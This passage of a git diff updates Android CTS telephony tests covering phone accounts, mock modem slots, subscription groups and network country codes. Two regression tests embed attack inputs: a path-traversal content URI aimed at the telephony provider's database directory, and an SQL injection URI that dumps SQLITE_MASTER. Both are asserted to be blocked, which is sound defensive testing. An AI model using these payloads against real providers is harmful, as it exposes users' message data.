+
+        // create handles for package 1
+        List<PhoneAccount> phoneAccountsForPackage1 =
+                generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+                        numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+        //create handles for package 2
+        List<PhoneAccount> phoneAccountsForPackage2 =
+                generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+                        MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+        try {
+            // register all accounts for package 1
+            phoneAccountsForPackage1.stream()
+                    .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+            // verify all can be fetched
+            verifyCanFetchAllPhoneAccountHandles();
+            // register all accounts for package 2
+            bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+            // verify all can be fetched
+            verifyCanFetchAllPhoneAccountHandles();
+        } catch (IllegalArgumentException e) {
+            // allow test pass ...
+        } finally {
+
+            unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+            cleanupPhoneAccounts();
+        }
+    }
+
+    /**
+     * Test the scenario where {@link TelecomManager#getAllPhoneAccounts()}
+     * is called with a heavy payload that could cause a {@link
+     * android.os.TransactionTooLargeException}.  Telecom is expected to handle this by splitting
+     * the parcels via {@link android.content.pm.ParceledListSlice}.
+     */
+    public void testGetAllPhoneAccountsWithLargePayload() throws Exception {
+        if (!mShouldTestTelecom) return;
+
+        // ensure the test starts without any phone accounts registered to the test package
+        cleanupPhoneAccounts();
+
+        // generate a large phoneAccountHandle id string to create a large payload
+        String largeAccountHandleId = generateLargeString(
+                LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+        assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+        // create handles for package 1
+        List<PhoneAccount> phoneAccountsForPackage1 =
+                generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+                        numberOfPhoneAccountsCtsPackageCanRegister(),
+                        CAPABILITY_CALL_PROVIDER
+                                | PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION);
+
+        //create handles for package 2
+        List<PhoneAccount> phoneAccountsForPackage2 =
+                generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+                        MAX_PHONE_ACCOUNT_REGISTRATIONS,
+                        CAPABILITY_SELF_MANAGED);
+        try {
+            // register all accounts for package 1
+            for (PhoneAccount pa : phoneAccountsForPackage1) {
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelecomManager,
+                        tm -> tm.registerPhoneAccount(pa), REGISTER_SIM_SUBSCRIPTION_PERMISSION);
+            }
+            // verify all can be fetched
+            verifyCanFetchAllPhoneAccounts();
+            // register all accounts for package 2
+            bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+            // verify all can be fetched
+            verifyCanFetchAllPhoneAccounts();
+        } catch (IllegalArgumentException e) {
+            // allow test pass ...
+        } finally {
+            unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+            cleanupPhoneAccounts();
+        }
+    }
+
     // -- The following are helper methods for this testing class. --
 
+    private String generateLargeString(int size, String repeatStrValue) {
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < size; i++) {
+            sb.append(repeatStrValue);
+        }
+        return sb.toString();
+    }
+
+    private List<PhoneAccount> generatePhoneAccountsForPackage(ComponentName cn, String baseId,
+            int numOfAccountsToRegister, int capabilities) {
+        List<PhoneAccount> accounts = new ArrayList<>();
+
+        for (int i = 0; i < numOfAccountsToRegister; i++) {
+            String id = baseId + i;
+            PhoneAccountHandle pah = new PhoneAccountHandle(cn, id);
+            // create phoneAccount
+            String number = TEL_PREFIX + i;
+            PhoneAccount pa = PhoneAccount.builder(pah, TestUtils.ACCOUNT_LABEL)
+                    .setAddress(Uri.parse(number))
+                    .setSubscriptionAddress(Uri.parse(number))
+                    .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+                    .setCapabilities(capabilities)
+                    .build();
+            accounts.add(pa);
+        }
+        return accounts;
+    }
+
+    public void bindToSecondTestPackageAndRegisterAccounts(List<PhoneAccount> accounts)
+            throws Exception {
+        bindToSecondTestPackage();
+        registerAccountsToSecondTestPackage(accounts);
+    }
+
+    public void unbindSecondTestPackageAndUnregisterAccounts(List<PhoneAccount> accounts) {
+        try {
+            mContext.unbindService(mControl);
+            unRegisterAccountsForSecondTestPackage(accounts);
+        } catch (Exception e) {
+            Log.d(TAG,
+                    "exception thrown while trying to unbind and unregister accts for 2nd package");
+        }
+    }
+
+    public void bindToSecondTestPackage() throws RemoteException {
+        // Set up binding for second package. This is needed in order to bypass a SecurityException
+        // thrown by a second test package registering phone accounts.
+        mControl = setUpControl(CAR_MODE_CONTROL, SELF_MANAGED_CAR_RELATIVE_COMPONENT);
+        mSecondaryTestPackageControl =
+                ICtsCarModeInCallServiceControl.Stub.asInterface(mControl.getService());
+        // reset all package variables etc.
+        if (mSecondaryTestPackageControl != null) {
+            mSecondaryTestPackageControl.reset(); //... done setting up binding
+        }
+    }
+
+    public void registerAccountsToSecondTestPackage(List<PhoneAccount> accounts)
+            throws Exception {
+        if (mSecondaryTestPackageControl != null) {
+            for (PhoneAccount p : accounts) {
+                mSecondaryTestPackageControl.registerPhoneAccount(p);
+                TestUtils.enablePhoneAccount(getInstrumentation(), p.getAccountHandle());
+            }
+        }
+    }
+
+    public void unRegisterAccountsForSecondTestPackage(List<PhoneAccount> accounts)
+            throws RemoteException {
+        if (mSecondaryTestPackageControl != null) {
+            for (PhoneAccount p : accounts) {
+                mSecondaryTestPackageControl.unregisterPhoneAccount(p.getAccountHandle());
+            }
+        }
+    }
+
+    public void verifyCanFetchCallCapableAccounts() {
+        List<PhoneAccountHandle> res =
+                mTelecomManager.getCallCapablePhoneAccounts(true);
+        assertNotNull(res);
+        assertTrue(res.size() > 0);
+    }
+
+    public void verifyCanFetchAllPhoneAccountHandles() {
+        List<PhoneAccountHandle> res =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelecomManager, (tm) -> tm.getAllPhoneAccountHandles(),
+                        MODIFY_PHONE_STATE_PERMISSION);
+        assertNotNull(res);
+        assertTrue(res.size() > 0);
+    }
+
+    public void verifyCanFetchAllPhoneAccounts() {
+        List<PhoneAccount> res =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelecomManager, (tm) -> tm.getAllPhoneAccounts(),
+                        MODIFY_PHONE_STATE_PERMISSION);
+        assertNotNull(res);
+        assertTrue(res.size() > 0);
+    }
+
+    public void verifyCanFetchSelfManagedPhoneAccounts() {
+        List<PhoneAccountHandle> res =
+                mTelecomManager.getSelfManagedPhoneAccounts();
+        assertNotNull(res);
+        assertTrue(res.size() > 0);
+    }
+
+    private int numberOfPhoneAccountsCtsPackageCanRegister() {
+        return MAX_PHONE_ACCOUNT_REGISTRATIONS - getNumberOfPhoneAccountsRegisteredToTestPackage();
+    }
+
     private TestServiceConnection setUpControl(String action, ComponentName componentName) {
         Intent bindIntent = new Intent(action);
         bindIntent.setComponent(componentName);
@@ -257,17 +588,24 @@
      * getPhoneAccountsForPackage() method.
      */
     private void cleanupPhoneAccounts() {
-        if (mTelecomManager != null) {
-            // Get all handles registered to the testing package
-            List<PhoneAccountHandle> handles = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        try {
+            if (mTelecomManager != null) {
+                // Get all handles registered to the testing package
+                List<PhoneAccountHandle> handles =
+                        ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
+                                READ_PHONE_STATE_PERMISSION);
 
-            // cleanup any extra phone accounts registered to the testing package
-            if (handles.size() > 0 && mTelecomManager != null) {
-                handles.stream().forEach(
-                        d -> mTelecomManager.unregisterPhoneAccount(d));
+                // cleanup any extra phone accounts registered to the testing package
+                if (handles.size() > 0 && mTelecomManager != null) {
+                    handles.stream().forEach(
+                            d -> mTelecomManager.unregisterPhoneAccount(d));
+                }
+
+                TestUtils.executeShellCommand(getInstrumentation(), TELECOM_CLEANUP_ACCTS_CMD);
             }
+        } catch (Exception e) {
+            Log.d(TAG, "cleanupPhoneAccounts: hit exception while trying to clean");
         }
     }
 
@@ -281,7 +619,7 @@
         if (mTelecomManager != null) {
             return ShellIdentityUtils.invokeMethodWithShellPermissions(
                     mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE").size();
+                    READ_PHONE_STATE_PERMISSION).size();
         }
         return 0;
     }
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index 02848c8..89e4f4d 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -1,2 +1,17 @@
-file:platform/frameworks/opt/telephony:/OWNERS
-
+# Bug component: 20868
+amagup@google.com
+amallampati@google.com
+amruthr@google.com
+breadley@google.com
+chinmayd@google.com
+fionaxu@google.com
+huiwang@google.com
+jackyu@google.com
+jayachandranc@google.com
+linggm@google.com
+rgreenwalt@google.com
+sarahchin@google.com
+sasindran@google.com
+tgunn@google.com
+tjstuart@google.com
+xiaotonj@google.com
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
index f2523a4..0bed8a7 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java
@@ -34,6 +34,7 @@
 
 public class MockModemService extends Service {
     private static final String TAG = "MockModemService";
+    private static final String RESOURCE_PACKAGE_NAME = "android";
 
     public static final int TEST_TIMEOUT_MS = 30000;
     public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig";
@@ -233,9 +234,18 @@
     }
 
     public int getNumPhysicalSlots() {
-        int numPhysicalSlots =
+        int numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
+        int resourceId =
                 sContext.getResources()
-                        .getInteger(com.android.internal.R.integer.config_num_physical_slots);
+                        .getIdentifier(
+                                "config_num_physical_slots", "integer", RESOURCE_PACKAGE_NAME);
+
+        if (resourceId > 0) {
+            numPhysicalSlots = sContext.getResources().getInteger(resourceId);
+        } else {
+            Log.d(TAG, "Fail to get the resource Id, using default: " + numPhysicalSlots);
+        }
+
         if (numPhysicalSlots > MockSimService.MOCK_SIM_SLOT_MAX) {
             Log.d(
                     TAG,
@@ -245,6 +255,15 @@
                             + MockSimService.MOCK_SIM_SLOT_MAX
                             + ").");
             numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MAX;
+        } else if (numPhysicalSlots <= MockSimService.MOCK_SIM_SLOT_MIN) {
+            Log.d(
+                    TAG,
+                    "Number of physical Slot ("
+                            + numPhysicalSlots
+                            + ") < mock sim slot support. Reset to min number supported ("
+                            + MockSimService.MOCK_SIM_SLOT_MIN
+                            + ").");
+            numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN;
         }
 
         return numPhysicalSlots;
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
index 8183925..026710b 100644
--- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -63,6 +63,7 @@
     private static final int MOCK_SIM_SLOT_1 = 0;
     private static final int MOCK_SIM_SLOT_2 = 1;
     private static final int MOCK_SIM_SLOT_3 = 2;
+    public static final int MOCK_SIM_SLOT_MIN = 1;
     public static final int MOCK_SIM_SLOT_MAX = 3;
 
     /* Default value definition */
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 137a43b..475aede 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -33,6 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.annotation.Nullable;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -49,6 +50,7 @@
 import android.os.Looper;
 import android.os.ParcelUuid;
 import android.os.PersistableBundle;
+import android.os.Process;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
@@ -63,6 +65,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.CarrierPrivilegeUtils;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -670,6 +673,7 @@
     }
 
     @Test
+    @ApiTest(apis = "android.telephony.SubscriptionManager#getSubscriptionsInGroup")
     public void testSubscriptionGroupingWithPermission() throws Exception {
         // Set subscription group with current sub Id.
         List<Integer> subGroup = new ArrayList();
@@ -680,8 +684,14 @@
         // Getting subscriptions in group.
         List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
         assertNotNull(infoList);
+        assertTrue(infoList.isEmpty());
+
+        // has the READ_PRIVILEGED_PHONE_STATE permission
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getSubscriptionsInGroup(uuid), READ_PRIVILEGED_PHONE_STATE);
+        assertNotNull(infoList);
         assertEquals(1, infoList.size());
-        assertNull(infoList.get(0).getGroupUuid());
+        assertEquals(uuid, infoList.get(0).getGroupUuid());
 
         infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
                 (sm) -> sm.getSubscriptionsInGroup(uuid));
@@ -698,33 +708,40 @@
         }
         availableInfoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
                 (sm) -> sm.getAvailableSubscriptionInfoList());
-        if (availableInfoList.size() > 1) {
-            List<Integer> availableSubGroup = availableInfoList.stream()
-                    .map(info -> info.getSubscriptionId())
-                    .filter(subId -> subId != mSubId)
-                    .collect(Collectors.toList());
+        // has the OPSTR_READ_DEVICE_IDENTIFIERS permission
+        try {
+            setIdentifierAccess(true);
+            if (availableInfoList.size() > 1) {
+                List<Integer> availableSubGroup = availableInfoList.stream()
+                        .map(info -> info.getSubscriptionId())
+                        .filter(subId -> subId != mSubId)
+                        .collect(Collectors.toList());
 
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                        (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+
+                infoList = mSm.getSubscriptionsInGroup(uuid);
+                assertNotNull(infoList);
+                assertEquals(availableInfoList.size(), infoList.size());
+
+                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                        (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+            }
+
+            // Remove from subscription group with current sub Id.
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                    (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+                    (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
 
             infoList = mSm.getSubscriptionsInGroup(uuid);
             assertNotNull(infoList);
-            assertEquals(availableInfoList.size(), infoList.size());
-
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                    (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+            assertTrue(infoList.isEmpty());
+        } finally {
+            setIdentifierAccess(false);
         }
-
-        // Remove from subscription group with current sub Id.
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
-                (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
-
-        infoList = mSm.getSubscriptionsInGroup(uuid);
-        assertNotNull(infoList);
-        assertTrue(infoList.isEmpty());
     }
 
     @Test
+    @ApiTest(apis = "android.telephony.SubscriptionManager#getSubscriptionsInGroup")
     public void testAddSubscriptionIntoNewGroupWithPermission() throws Exception {
         // Set subscription group with current sub Id.
         List<Integer> subGroup = new ArrayList();
@@ -733,28 +750,33 @@
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                 (sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
 
-        // Getting subscriptions in group.
         List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
         assertNotNull(infoList);
-        assertEquals(1, infoList.size());
-        assertNull(infoList.get(0).getGroupUuid());
+        assertTrue(infoList.isEmpty());
 
-        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
-                (sm) -> sm.getSubscriptionsInGroup(uuid));
-        assertNotNull(infoList);
-        assertEquals(1, infoList.size());
-        assertEquals(uuid, infoList.get(0).getGroupUuid());
+        // Getting subscriptions in group.
+        try {
+            setIdentifierAccess(true);
+            infoList = mSm.getSubscriptionsInGroup(uuid);
+            assertNotNull(infoList);
+            assertEquals(1, infoList.size());
+            assertEquals(uuid, infoList.get(0).getGroupUuid());
+        } finally {
+            setIdentifierAccess(false);
+        }
 
         // Remove from subscription group with current sub Id.
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                 (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
 
-        infoList = mSm.getSubscriptionsInGroup(uuid);
+        infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+                (sm) -> sm.getSubscriptionsInGroup(uuid));
         assertNotNull(infoList);
         assertTrue(infoList.isEmpty());
     }
 
     @Test
+    @ApiTest(apis = "android.telephony.SubscriptionManager#setOpportunistic")
     public void testSettingOpportunisticSubscription() throws Exception {
         // Set subscription to be opportunistic. This should fail
         // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
@@ -762,6 +784,12 @@
             mSm.setOpportunistic(true, mSubId);
             fail();
         } catch (SecurityException expected) {
+            // Caller permission should not affect accessing SIMINFO table.
+            assertNotEquals(expected.getMessage(),
+                    "Access SIMINFO table from not phone/system UID");
+            // Caller does not have permission to manage mSubId.
+            assertEquals(expected.getMessage(),
+                    "Caller requires permission on sub " + mSubId);
         }
 
         // Shouldn't crash.
@@ -1459,4 +1487,13 @@
 
         return validCarrier && validNetworkType && validCapabilities;
     }
+
+    private void setIdentifierAccess(boolean allowed) {
+        String op = AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS;
+        AppOpsManager appOpsManager = InstrumentationRegistry.getContext().getSystemService(
+                AppOpsManager.class);
+        int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3757b63..e2fdef7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -109,6 +109,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.CarrierPrivilegeUtils;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -283,6 +284,7 @@
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
     private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
     private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
+    private static final int RADIO_HAL_VERSION_2_0 = makeRadioVersion(2, 0);
 
     static {
         EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -1250,23 +1252,49 @@
     private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
 
     @Test
+    @ApiTest(apis = "android.telephony.TelephonyManager#getNetworkCountryIso")
     public void testGetNetworkCountryIso() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
 
         String countryCode = mTelephonyManager.getNetworkCountryIso();
-        assertTrue("Country code '" + countryCode + "' did not match "
-                + ISO_COUNTRY_CODE_PATTERN,
-                Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+        ServiceState serviceState = mTelephonyManager.getServiceState();
+        if (serviceState != null && (serviceState.getState()
+                == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+                == ServiceState.STATE_EMERGENCY_ONLY)) {
+            assertTrue("Country code '" + countryCode + "' did not match "
+                    + ISO_COUNTRY_CODE_PATTERN,
+                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+        } else {
+            assertTrue("Country code could be empty when out of service",
+                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+                    || TextUtils.isEmpty(countryCode));
+        }
+
+        int[] allSubs = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager, (sm) -> sm.getActiveSubscriptionIdList());
+        for (int i : allSubs) {
+            countryCode = mTelephonyManager.getNetworkCountryIso(
+                    SubscriptionManager.getSlotIndex(i));
+            serviceState = mTelephonyManager.createForSubscriptionId(i).getServiceState();
+
+            if (serviceState != null && (serviceState.getState()
+                    == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+                    == ServiceState.STATE_EMERGENCY_ONLY)) {
+                assertTrue("Country code '" + countryCode + "' did not match "
+                        + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
+                        Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+            } else {
+                assertTrue("Country code could be empty when out of service",
+                        Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+                        || TextUtils.isEmpty(countryCode));
+            }
+        }
 
         for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
-            SubscriptionInfo subscriptionInfo =
-                    mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i);
-            if (subscriptionInfo != null) {
-                countryCode = mTelephonyManager.getNetworkCountryIso(i);
-                assertTrue("Country code '" + countryCode + "' did not match "
-                                + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
-                        Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
-            }
+            countryCode = mTelephonyManager.getNetworkCountryIso(i);
+            assertTrue("Country code must match " + ISO_COUNTRY_CODE_PATTERN + "or empty",
+                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+                    || TextUtils.isEmpty(countryCode));
         }
     }
 
@@ -1274,19 +1302,20 @@
     public void testSetSystemSelectionChannels() {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
 
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         List<RadioAccessSpecifier> channels;
         try {
-            channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+            uiAutomation.adoptShellPermissionIdentity();
+            channels = mTelephonyManager.getSystemSelectionChannels();
         } catch (IllegalStateException e) {
             // TODO (b/189255895): Allow ISE once API is enforced in IRadio 2.1.
             Log.d(TAG, "Skipping test since system selection channels are not available.");
             return;
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
         }
 
         LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
-        final UiAutomation uiAutomation =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try {
             uiAutomation.adoptShellPermissionIdentity();
             // This is a oneway binder call, meaning we may return before the permission check
@@ -1303,20 +1332,29 @@
             uiAutomation.dropShellPermissionIdentity();
         }
 
+        uiAutomation.adoptShellPermissionIdentity();
+
         // Try calling the API that doesn't provide feedback. We have no way of knowing if it
         // succeeds, so just make sure nothing crashes.
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
+        mTelephonyManager.setSystemSelectionChannels(Collections.emptyList());
 
         // Assert that we get back the value we set.
-        assertEquals(Collections.emptyList(),
-                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                TelephonyManager::getSystemSelectionChannels));
+        assertEquals(Collections.emptyList(), mTelephonyManager.getSystemSelectionChannels());
 
-        // Reset the values back to the original.
-        List<RadioAccessSpecifier> finalChannels = channels;
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                tp -> tp.setSystemSelectionChannels(finalChannels));
+        try {
+            // Reset the values back to the original. Use callback to ensure we don't drop
+            // the shell permission until the original state is restored.
+            mTelephonyManager.setSystemSelectionChannels(channels,
+                    getContext().getMainExecutor(), queue::offer);
+            Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
+            if (result == null || !result) {
+                Log.e(TAG, "Invalid response when resetting initial system selection channels.");
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted while resetting initial system selection channels.");
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
     }
 
     @Test
@@ -1729,6 +1767,10 @@
     @Test
     public void testRebootRadio() throws Throwable {
         assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+        if (mRadioVersion <= RADIO_HAL_VERSION_2_0) {
+            Log.d(TAG, "Skipping test since rebootModem is not supported.");
+            return;
+        }
 
         TestThread t = new TestThread(() -> {
             Looper.prepare();
@@ -5053,8 +5095,12 @@
                 .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
         try {
             mTelephonyManager.setSimSlotMapping(simSlotMapping);
-        } catch (IllegalArgumentException e) {
-            fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+        } catch (IllegalArgumentException | IllegalStateException e) {
+            // if HAL version is less than 2.0, vendors may not have implemented API,
+            // skipping the failure.
+            if (mRadioVersion >= RADIO_HAL_VERSION_2_0) {
+                fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+            }
         }
 
         List<UiccSlotMapping> slotMappingList = new ArrayList<>();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 00e4dfe..fc5bbbd 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -29,6 +29,8 @@
 import android.net.Uri;
 import android.provider.Telephony;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
@@ -127,6 +129,20 @@
 
     }
 
+    /**
+     *  Verifies uri path outside the directory of mms parts  is not allowed.
+     */
+    @Test
+    @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update")
+    public void testMmsPartUpdate_invalidUri() {
+        ContentValues cv = new ContentValues();
+        Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.."
+                + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony"
+                + "%2Fdatabases");
+        int cursorUpdate = mContentResolver.update(uri, cv, null, null);
+        assertThat(cursorUpdate).isEqualTo(0);
+    }
+
     @Test
     public void testMmsPartDelete_canDeleteById() {
         Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
index dba15dc..87b08b9 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
@@ -22,16 +22,20 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+
 import android.provider.Telephony;
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
@@ -327,5 +331,55 @@
 
         DefaultSmsAppHelper.ensureDefaultSmsApp();
     }
-}
 
+    /**
+     * Verifies sql injection is not allowed within a URI.
+     */
+    @Test
+    @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+    public void query_msgParameter_sqlInjection() {
+        Uri uriWithSqlInjection = Uri.parse("content://mms-sms/pending?protocol=sms&message=1 "
+                + "union select type,name,tbl_name,rootpage,sql,1,1,1,1,1 FROM SQLITE_MASTER; --");
+        Cursor uriWithSqlInjectionCur = mContentResolver.query(uriWithSqlInjection, null,
+                null, null, null);
+        assertNull(uriWithSqlInjectionCur);
+    }
+
+    /**
+     * Verifies query() returns non-null cursor when valid URI is passed to it.
+     */
+    @Test
+    @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+    public void query_msgParameter_withoutSqlInjection() {
+        Uri uriWithoutSqlInjection = Uri.parse("content://mms-sms/pending?protocol=sms&message=1");
+        Cursor uriWithoutSqlInjectionCur = mContentResolver.query(uriWithoutSqlInjection,
+                null, null, null, null);
